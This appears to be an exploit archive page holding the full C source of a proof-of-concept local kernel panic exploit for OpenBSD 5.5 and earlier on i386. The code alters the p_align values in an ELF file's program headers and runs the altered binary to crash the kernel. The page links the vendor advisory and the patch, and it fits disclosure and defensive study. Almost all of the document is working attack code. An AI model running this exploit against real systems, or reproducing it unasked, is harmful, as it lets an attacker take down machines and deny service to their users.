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OpenBSD 5.5 Local Kernel Panic

OpenBSD 5.5 Local Kernel Panic
Posted Oct 23, 2014
Authored by nitr0us

OpenBSD versions 5.5 and below local kernel panic proof of concept exploit for i386.

tags | exploit, kernel, local, proof of concept
systems | openbsd
SHA-256 | 4c958cff42a397da0e7fd1de737c29e8578e3c3d90dd8e62623fb389e271ae47

OpenBSD 5.5 Local Kernel Panic

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/*
* tenochtitlan.c
*
* OpenBSD <= 5.5 Local Kernel Panic
* by Alejandro Hernandez (@nitr0usmx)
*
* Advisory and technical details:
* http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf
*
* Fix: http://www.openbsd.org/errata55.html#013_kernexec
*
* This PoC works only for i386.
*
* Bug found with Melkor (ELF file format fuzzer)
* https://github.com/IOActive/Melkor_ELF_Fuzzer
*
* Mexico / Oct 2014
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>

#ifndef __OpenBSD__
#error "Not an OpenBSD system !!!1111";
#else
#include <sys/exec_elf.h>
#endif

#ifndef __i386__
#error "Not an i386 system !!!1111";
#endif

// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god,
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] =
" _____\n"
" _|[]_|_\n"
" _/_/=|_\\_\\_\n"
" _/_ /==| _\\ _\\_\n"
" _/__ /===|_ _\\ __\\_\n"
" _/_ _ /====| ___\\ __\\_\n"
" _/ __ _/=====|_ ___\\ ___ \\_\n"
" _/ ___ _/======| ____ \\_ __ \\_\n";

struct {
unsigned int idx;
Elf32_Word p_align;
} targets[] = {
{ 6, 0xb16b00b5 }, // ( * )( * )
{ 6, 0xdeadface },
{ 4, 0x00001001 },
{ 0, 0x00000004 }
};

int main(int argc, char **argv)
{
Elf32_Ehdr *hdr;
Elf32_Phdr *pht; // Program Header Table
struct stat statinfo;
char *elfptr;
int fd, r;

if(argc < 2){
fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
exit(-1);
}

if((fd = open(argv[1], O_RDWR)) == -1){
perror("open");
exit(-1);
}

if(fstat(fd, &statinfo) == -1){
perror("stat");
close(fd);
exit(-1);
}

if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
perror("mmap");
close(fd);
exit(-1);
}

hdr = (Elf32_Ehdr *) (elfptr);
pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);

printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);

srand(time(NULL));
r = rand();

if(r % 3 == 0){
#ifdef OpenBSD5_5
pht[targets[0].idx].p_align = targets[0].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
pht[targets[1].idx].p_align = targets[1].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
} else if(r % 3 == 1){
pht[targets[2].idx].p_align = targets[2].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
} else {
int p;

for(p = 0; p < hdr->e_phnum; p++, pht++)
if(pht->p_type == PT_LOAD){
pht->p_align = targets[3].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
}
}

// Synchronize the ELF in memory and the file system
if(msync(elfptr, 0, MS_ASYNC) == -1){
perror("msync");
close(fd);
exit(-1);
}

if(munmap(elfptr, statinfo.st_size) == -1){
perror("munmap");
close(fd);
exit(-1);
}

close(fd);

printf("%s", pyramid);

sleep(1);
system(argv[1]);

// Should never reach this point, however sometimes the OS didn't crash with
// system() until the 2nd execution. Same behavior with execl and execv too.
printf("... try to execute %s manually.\n", argv[1]);

return -1;
}

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